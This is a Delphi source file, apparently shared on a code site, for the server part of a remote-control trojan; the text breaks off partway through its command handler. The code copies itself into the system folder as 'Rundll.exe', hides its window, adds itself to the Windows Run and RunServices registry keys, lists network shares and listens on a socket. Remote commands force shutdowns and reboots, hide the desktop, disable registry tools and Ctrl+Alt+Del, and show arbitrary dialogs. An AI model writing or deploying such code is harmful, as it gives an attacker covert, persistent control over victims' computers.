?? server.~pa
字號:
unit server;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ComCtrls, shellapi, StdCtrls, registry, ExtCtrls;
type
TForm1 = class(TForm)
serverlink: TServerSocket;
StatusBar1: TStatusBar;
Label1: TLabel;
ListBox1: TListBox;
Timer1: TTimer;
sharelist: TListBox;
Timer2: TTimer;
procedure FormCreate(Sender: TObject);
procedure serverlinkAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure serverlinkClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure serverlinkClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
procedure serverlinkClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
info:array[1..50] of string[10];
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
var MySysPath : PCHAR ;
myreg:tregistry;
syspath:string;
begin
//form1.Top:=-10000;
info[1]:='clowindows';
info[2]:='reswindows';
info[3]:='cl2windows';
info[4]:='re2windows';
info[5]:='noautodia';
info[6]:='yesautodia';
info[7]:='nodesktop';
info[8]:='yesdesktop';
info[9]:='nosyskey';
info[10]:='yessyskey';
info[11]:='noregedit';
info[12]:='yesregedit';
info[13]:='nomouse';
info[14]:='yesmouse';
info[15]:='nobegbtn';
info[16]:='yesbegbtn';
info[17]:='notaskbar';
info[18]:='yestaskbar';
info[19]:='c640480';
info[20]:='c800600';
info[21]:='c1024768';
info[22]:='c12801024';
info[23]:='c16001200';
info[24]:='givewin';
info[25]:='seeshare';
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
syspath:=string(mysyspath);
//MySysPath為SYSTEM路徑
copyfile(pchar(Application.Exename),pchar(syspath+'\Rundll.exe'),true);
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true)
then begin
myreg.WriteString('SystemTray',syspath+'\Rundll.exe');
myreg.CloseKey;
end;
if myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunServices',true)
then begin
myreg.WriteString('SystemTray',syspath+'\Rundll.exe');
myreg.CloseKey;
end;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Network\LanMan',true)
then begin
myreg.GetKeyNames(sharelist.items);
myreg.CloseKey;
end;
myreg.Free;
serverlink.Open;
serverlink.Active:=true;
serverlink.Socket.Lock;
Statusbar1.simpleText := '正在監聽...';
end;
procedure TForm1.serverlinkAccept(Sender: TObject;
Socket: TCustomWinSocket);
begin
Statusbar1.simpletext := '連接到: ' + Socket.RemoteAddress;
end;
procedure TForm1.serverlinkClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure domessage(a:string);//自定義過程處理消息
var i:integer;
newst:string;
ca,tx:string;
c:integer;
st1,st2,st3,st4:string;
begin
i:=length(a);
newst:=copy(a,10,i-9);
st1:=copy(a,i-2,1);//number 1
st2:=copy(a,i-1,1);//number 2
//label2.Caption:=newst;
//label3.caption:=copy(a,10,i-13);
i:=length(newst);
c:=pos(')',newst);
//label4.caption:=inttostr(c);
//label5.caption
st3:=copy(newst,2,c-2);
//label6.caption
st4:=copy(newst,c+2,i-c-6);
case strtoint(st1) of
0: case strtoint(st2) of
0:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OK);
1:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OKCANCEL);
2:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNO);
3:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNOCANCEL);
4:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_RETRYCANCEL);
5:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_ABORTRETRYIGNORE);
end;
1: case strtoint(st2) of
0:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OK+MB_ICONINFORMATION);
1:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OKCANCEL+MB_ICONINFORMATION);
2:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNO+MB_ICONINFORMATION);
3:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNOCANCEL+MB_ICONINFORMATION);
4:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_RETRYCANCEL+MB_ICONINFORMATION);
5:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_ABORTRETRYIGNORE+MB_ICONINFORMATION);
end;
2: case strtoint(st2) of
0:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OK+MB_ICONQUESTION);
1:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OKCANCEL+MB_ICONQUESTION);
2:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNO+MB_ICONQUESTION);
3:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNOCANCEL+MB_ICONQUESTION);
4:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_RETRYCANCEL+MB_ICONQUESTION);
5:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_ABORTRETRYIGNORE+MB_ICONQUESTION);
end;
3: case strtoint(st2) of
0:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OK+MB_ICONWARNING);
1:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OKCANCEL+MB_ICONWARNING);
2:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNO+MB_ICONWARNING);
3:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNOCANCEL+MB_ICONWARNING);
4:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_RETRYCANCEL+MB_ICONWARNING);
5:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_ABORTRETRYIGNORE+MB_ICONWARNING);
end;
4: case strtoint(st2) of
0:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OK+MB_ICONSTOP);
1:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_OKCANCEL+MB_ICONSTOP);
2:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNO+MB_ICONSTOP);
3:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_YESNOCANCEL+MB_ICONSTOP);
4:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_RETRYCANCEL+MB_ICONSTOP);
5:messagebox(form1.Handle,pchar(st4),pchar(st3),MB_ABORTRETRYIGNORE+MB_ICONSTOP);
end;
end;//end case
end;// end procedure
var myreg:tregistry;
number,i:integer;
hDesktop:THandle;
temp:integer;
rt: TRect;
hwnd1,hwnd2:hwnd;
buttonname:string;
result:boolean;
devmode:tdevicemode;
x,y:word;
sharedir,sharename:string;
len:integer;
begin
label1.Caption:=socket.ReceiveText;
//遠程控制
if label1.Caption=info[1] then ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE,0);
//winexec('RUNDLL.EXE user.exe,exitwindowsexec',SW_HIDE);
if label1.Caption=info[2] then ExitWindowsEx(EWX_REBOOT or EWX_FORCE,0);
// winexec('RUNDLL.EXE user.exe,exitwindows',SW_HIDE);
if label1.Caption=info[3] then exitwindowsex(EWX_SHUTDOWN,0);
if label1.Caption=info[4] then exitwindowsex(EWX_REBOOT,0);
//
if label1.Caption=info[5] then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=0;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
if label1.Caption=info[6] then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_LOCAL_MACHINE;
if myreg.openkey('\Config\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings',true)
then begin
number:=1;
myreg.WriteBinaryData('EnableAutodial',number,4);
myreg.CloseKey;
end;
myreg.Free;
end;
if label1.Caption=info[7] then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_HIDE);
end;
if label1.Caption=info[8] then begin
hDesktop := FindWindow('Progman', nil);
ShowWindow(hDesktop, SW_SHOW);
end;
if label1.Caption=info[9] then systemparametersinfo(spi_screensaverrunning,1,@temp,0);
if label1.Caption=info[10] then systemparametersinfo(spi_screensaverrunning,0,@temp,0);
//注冊表
if label1.Caption=info[11] then
begin
myreg:=tregistry.Create;
myreg.RootKey:=HKEY_CURRENT_USER;
if myreg.OpenKey('software\microsoft\windows\currentversion\policies\system',true) then
begin
myreg.WriteInteger('DisableRegistryTools',1);
myreg.CloseKey;
end;
myreg.Free;
end;
if label1.Caption=info[12] then
begin
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -